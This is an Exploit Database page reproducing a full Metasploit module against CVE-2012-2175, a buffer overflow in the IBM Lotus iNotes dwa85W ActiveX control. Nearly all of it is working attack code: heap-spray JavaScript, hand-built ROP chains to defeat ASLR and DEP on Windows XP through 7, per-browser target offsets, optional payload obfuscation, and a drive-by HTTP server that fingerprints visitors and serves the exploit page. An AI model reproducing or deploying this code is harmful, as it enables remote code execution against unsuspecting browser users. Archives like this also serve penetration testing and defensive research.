IBM Lotus iNotes dwa85W – ActiveX Buffer Overflow (Metasploit)

• Exploit Database
• 92 阅读

• 作者： Metasploit
  日期： 2012-12-31
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23736/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "9.0",
  		:javascript => true,
  		:os_name=> OperatingSystems::WINDOWS,
  		:rank => Rank,
  		:classid=> "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",
  		:method => "Attachment_Times"
  	})
  
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability on the UploadControl
  				ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
  				property, due to the insecure usage of the _swscanf. The affected ActiveX is
  				provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.
  
  				This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
  				using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.
  
  				In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
  				is installed with the iNotes ActiveX.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Gaurav Baruah', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-2175'],
  					[ 'OSVDB', '82755' ],
  					[ 'BID', '53879' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],
  					[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 978,
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# dwa85W.dll 85.3.3.0
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll
  					[ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 8 on Windows Vista',{ 'Rop' => :notes,'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
  					[ 'IE 8 on Windows 7',{ 'Rop' => :notes,'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
  					[ 'IE 9 on Windows 7',{ 'Rop' => :notes,'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ]# pop eax # ret # dwabho.dll
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jun 01 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  		ie_name = "IE #{ie}"
  
  		case nt
  		when '5.1'
  			os_name = 'Windows XP SP3'
  		when '6.0'
  			os_name = 'Windows Vista'
  		when '6.1'
  			os_name = 'Windows 7'
  		end
  
  		targets.each do |t|
  			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  				print_status("Target selected as: #{t.name}")
  				return t
  			end
  		end
  
  		return nil
  	end
  
  	def ie_heap_spray(my_target, p)
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  		# Land the payload at 0x0c0c0c0c
  		case my_target
  		when targets[7]
  			# IE 9 on Windows 7
  			js = %Q|
  			function randomblock(blocksize)
  			{
  				var theblock = "";
  				for (var i = 0; i < blocksize; i++)
  				{
  					theblock += Math.floor(Math.random()*90)+10;
  				}
  				return theblock;
  			}
  
  			function tounescape(block)
  			{
  				var blocklen = block.length;
  				var unescapestr = "";
  				for (var i = 0; i < blocklen-1; i=i+4)
  				{
  					unescapestr += "%u" + block.substring(i,i+4);
  				}
  				return unescapestr;
  			}
  
  			var heap_obj = new heapLib.ie(0x10000);
  			var code = unescape("#{js_code}");
  			var nops = unescape("#{js_random_nops}");
  			while (nops.length < 0x80000) nops += nops;
  			var offset_length = #{my_target['Offset']};
  			for (var i=0; i < 0x1000; i++) {
  				var padding = unescape(tounescape(randomblock(0x1000)));
  				while (padding.length < 0x1000) padding+= padding;
  				var junk_offset = padding.substring(0, offset_length);
  				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
  				while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  				heap_obj.alloc(sprayblock);
  			}
  			|
  
  		else
  			# For IE 6, 7, 8
  			js = %Q|
  			var heap_obj = new heapLib.ie(0x20000);
  			var code = unescape("#{js_code}");
  			var nops = unescape("#{js_nops}");
  			while (nops.length < 0x80000) nops += nops;
  			var offset = nops.substring(0, #{my_target['Offset']});
  			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  			while (shellcode.length < 0x40000) shellcode += shellcode;
  			var block = shellcode.substring(0, (0x80000-6)/2);
  			heap_obj.gc();
  			for (var i=1; i < 0x300; i++) {
  				heap_obj.alloc(block);
  			}
  			var overflow = nops.substring(0, 10);
  			|
  
  		end
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		return js
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  		when :msvcrt
  			print_status("Using msvcrt ROP")
  			rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
  		else
  			print_status("Using dwabho.dll ROP")
  			# gadgets from dwabho.dll, using mona.py
  			rop_payload = [
  				0x1000f765, # POP EAX # RETN
  				0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]
  				0x10010394, # JMP DWORD PTR DS:[EAX]
  				0x0c0c0c2c, # ret after VirtualAlloc
  				0x0c0c0c2c, # lpAddress
  				0x00000400, # dwSize
  				0x00001000, # flAllocationType
  				0x00000040 # flProtect
  			].pack("V*")
  			rop_payload << code
  		end
  
  		return rop_payload
  	end
  
  	def load_exploit_html(my_target, cli)
  		p= get_payload(my_target, cli)
  		js = ie_heap_spray(my_target, p)
  
  		bof = rand_text_alpha(552) # offset to eip
  		bof << [my_target.ret].pack("V")
  
  		case my_target['Rop']
  		when :msvcrt
  			bof << rand_text_alpha(4)
  			bof << [0x0c0c0c0c].pack("V") # new ESP
  		when :notes
  			bof << rand_text_alpha(4)
  			bof << [0x0c0c0c00].pack("V") # eax
  			bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
  			bof << [0x0c0c0c04].pack("V") # new ESP
  		end
  
  		my_bof = Rex::Text.to_unescape(bof)
  
  		html = %Q|
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
  			<param name="General_Mode" value="1">
  			<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
  		</object>
  		<script>
  			var bof = unescape("#{my_bof}");
  			var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
  			my_time += bof;
  			my_time += " GMT";
  			UploadControl.Attachment_Times = my_time;
  		</script>
  		</body>
  		</html>
  		|
  
  		return html
  	end
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		uri = request.uri
  		print_status("Requesting: #{uri}")
  
  		my_target = get_target(agent)
  		# Avoid the attack if no suitable target found
  		if my_target.nil?
  			print_error("Browser not supported, sending 404: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		html = load_exploit_html(my_target, cli)
  		html = html.gsub(/^\t\t/, '')
  		print_status("Sending HTML...")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  end
  

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